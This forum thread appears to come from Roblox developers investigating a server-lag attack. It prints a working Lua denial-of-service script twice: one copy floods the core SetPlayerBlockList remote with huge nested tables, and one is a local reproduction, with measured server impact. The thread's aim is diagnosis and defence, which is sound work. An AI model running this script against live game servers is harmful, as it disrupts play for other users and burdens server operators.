Game servers being lagged

You can fixate on an assumed problem all you like. The fact is that we don’t even know what the problem is because there is zero evidence of the issue so far. I’m only suggesting we gather evidence to actually come up with a good solution rather than spamming random “solutions” to an unknown problem. Don’t take it so personally. I’m just trying to help OP rather than distracting him from figuring out what the problem actually is.

1 Like

Here’s the script, I didn’t get micro profiles however.

while wait(0.6) do --// don't change it's the best
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
local function getmaxvalue(val)
   local mainvalueifonetable = 499999
   if type(val) ~= "number" then
       return nil
   end
   local calculateperfectval = (mainvalueifonetable/(val+2))
   return calculateperfectval
end

local function bomb(tableincrease, tries)
local maintable = {}
local spammedtable = {}

table.insert(spammedtable, {})
z = spammedtable[1]

for i = 1, tableincrease do
    local tableins = {}
    table.insert(z, tableins)
    z = tableins
end

local calculatemax = getmaxvalue(tableincrease)
local maximum

if calculatemax then
     maximum = calculatemax
     else
     maximum = 999999
end

for i = 1, maximum do
     table.insert(maintable, spammedtable)
end

for i = 1, tries do
     game.RobloxReplicatedStorage.SetPlayerBlockList:FireServer(maintable)
end
end

bomb(250, 2) --// change values if client crashes.
end

I can’t find anything for server tracking of the amount of data sent.

It doesn’t bypass restrictions I tested now.

I ran this locally against a remote event in ReplicatedStorage with no server side handler it and does actually cause quite a bit of impact on server performance. I was seeing about ~160ms of server processing time to process these packets in a Local Server test in studio

Hard to say if the behavior is the same online, but this is something that can be performance on any remote, regardless of whether it has a server-side handler or not. I would imagine that if it did it would take event longer.

This was sending about 2MB/s of data to the server.
image

For context here is the script I ran via command bar on the client in an empty BasePlate with a RemoteEvent in ReplicatedStorage in a Local Server test.

while wait(0.6) do --// don't change it's the best
  game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
  local function getmaxvalue(val)
     local mainvalueifonetable = 499999
     if type(val) ~= "number" then
         return nil
     end
     local calculateperfectval = (mainvalueifonetable/(val+2))
     return calculateperfectval
  end
  
  local function bomb(tableincrease, tries)
    local maintable = {}
    local spammedtable = {}
    
    table.insert(spammedtable, {})
    z = spammedtable[1]
    
    for i = 1, tableincrease do
        local tableins = {}
        table.insert(z, tableins)
        z = tableins
    end
    
    local calculatemax = getmaxvalue(tableincrease)
    local maximum
    
    if calculatemax then
        maximum = calculatemax
        else
        maximum = 999999
    end
    
    for i = 1, maximum do
        table.insert(maintable, spammedtable)
    end
    
    for i = 1, tries do
        game.ReplicatedStorage.RemoteEvent:FireServer(maintable)
    end
  end

  bomb(250, 2) --// change values if client crashes.
end

Obviously you could watch this remote event, but as OP is saying the issue is that the original exploit script manipulates RobloxReplicatedStorage.SetPlayerBlockList which is inaccessible to developers.

4 Likes

Interesting, thanks for testing, I honestly think developers should have more control / access to the core events as otherwise it leads to situations like this.